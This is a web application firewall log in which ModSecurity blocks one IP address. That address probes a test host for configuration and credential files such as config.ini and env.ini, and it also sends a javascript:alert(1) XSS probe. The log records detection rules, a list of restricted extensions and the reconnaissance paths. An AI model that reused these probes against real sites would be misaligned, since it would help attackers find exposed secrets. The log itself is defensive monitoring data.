[Sun Mar 01 20:26:26.464946 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sasl/settings.conf&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFofAAAAAE&quot;]
[Sun Mar 01 20:26:26.534487 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scada/config.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFofwAAAAE&quot;]
[Sun Mar 01 20:26:26.535037 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scada/config.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFofwAAAAE&quot;]
[Sun Mar 01 20:26:26.535242 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scada/config.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFofwAAAAE&quot;]
[Sun Mar 01 20:26:26.626935 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scheduler/torque.cfg&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFogwAAAAE&quot;]
[Sun Mar 01 20:26:26.627483 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scheduler/torque.cfg&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFogwAAAAE&quot;]
[Sun Mar 01 20:26:26.627663 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scheduler/torque.cfg&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFogwAAAAE&quot;]
[Sun Mar 01 20:26:26.673277 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\W|^)(?:javascript:(?:[\\\\s\\\\S]+[=\\\\\\\\(\\\\[\\\\.&lt;]|[\\\\s\\\\S]*?(?:\\\\bname\\\\b|\\\\[ux]\\\\d))|data:(?:(?:[a-z]\\\\w+\\\\/\\\\w[\\\\w+-]+\\\\w)?[;,]|[\\\\s\\\\S]*?;[\\\\s\\\\S]*?\\\\b(?:base64|charset=)|[\\\\s\\\\S]*?,[\\\\s\\\\S]*?&lt;[\\\\s\\\\S]*?\\\\w[\\\\s\\\\S]*?&gt;))|@\\\\W*?i\\\\W*?m\\\\W*?p\\\\W*? ...&quot; at ARGS:source. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;247&quot;] [id &quot;941170&quot;] [msg &quot;NoScript XSS InjectionChecker: Attribute Injection&quot;] [data &quot;Matched Data: javascript:alert( found within ARGS:source: javascript:alert(1)&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script.js&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFohQAAAAE&quot;]
[Sun Mar 01 20:26:26.673360 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i:(?:j|&amp;#x?0*(?:74|4A|106|6A);?)(?:\\\\t|&amp;(?:#x?0*(?:9|13|10|A|D);?|tab;|newline;))*(?:a|&amp;#x?0*(?:65|41|97|61);?)(?:\\\\t|&amp;(?:#x?0*(?:9|13|10|A|D);?|tab;|newline;))*(?:v|&amp;#x?0*(?:86|56|118|76);?)(?:\\\\t|&amp;(?:#x?0*(?:9|13|10|A|D);?|tab;|newline;))*(?:a|&amp;#x? ...&quot; at ARGS:source. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;360&quot;] [id &quot;941210&quot;] [msg &quot;IE XSS Filters - Attack Detected.&quot;] [data &quot;Matched Data: javascript:a found within ARGS:source: javascript:alert(1)&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script.js&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFohQAAAAE&quot;]
[Sun Mar 01 20:26:26.673590 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script.js&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFohQAAAAE&quot;]
[Sun Mar 01 20:26:26.673760 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=10,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script.js&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFohQAAAAE&quot;]
[Sun Mar 01 20:26:26.971375 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendmail.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFokgAAAAE&quot;]
[Sun Mar 01 20:26:26.971852 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendmail.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFokgAAAAE&quot;]
[Sun Mar 01 20:26:26.972030 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendmail.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFokgAAAAE&quot;]
[Sun Mar 01 20:26:27.063419 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sepa/transfer_config.ini&quot;] [unique_id &quot;aaSS4403pg4df9PPalFolgAAAAE&quot;]
[Sun Mar 01 20:26:27.063931 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sepa/transfer_config.ini&quot;] [unique_id &quot;aaSS4403pg4df9PPalFolgAAAAE&quot;]
[Sun Mar 01 20:26:27.064089 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sepa/transfer_config.ini&quot;] [unique_id &quot;aaSS4403pg4df9PPalFolgAAAAE&quot;]
[Sun Mar 01 20:26:27.086186 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serveo.log&quot;] [unique_id &quot;aaSS4403pg4df9PPalFolwAAAAE&quot;]
[Sun Mar 01 20:26:27.086721 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serveo.log&quot;] [unique_id &quot;aaSS4403pg4df9PPalFolwAAAAE&quot;]
[Sun Mar 01 20:26:27.086877 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serveo.log&quot;] [unique_id &quot;aaSS4403pg4df9PPalFolwAAAAE&quot;]
[Sun Mar 01 20:26:27.108831 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.conf&quot;] [unique_id &quot;aaSS4403pg4df9PPalFomAAAAAE&quot;]
[Sun Mar 01 20:26:27.109319 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.conf&quot;] [unique_id &quot;aaSS4403pg4df9PPalFomAAAAAE&quot;]
[Sun Mar 01 20:26:27.109469 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.conf&quot;] [unique_id &quot;aaSS4403pg4df9PPalFomAAAAAE&quot;]
[Sun Mar 01 20:26:28.055451 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.config&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIqQAAAAg&quot;]
[Sun Mar 01 20:26:28.055979 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.config&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIqQAAAAg&quot;]
[Sun Mar 01 20:26:28.056144 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.config&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIqQAAAAg&quot;]
[Sun Mar 01 20:26:28.216635 2026] [:error] [pid 2408732] [client 185.177.72.30:35794] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/skrill/env.ini&quot;] [unique_id &quot;aaSS5Pgv7eN8rAXba7HIsAAAAAg&quot;]
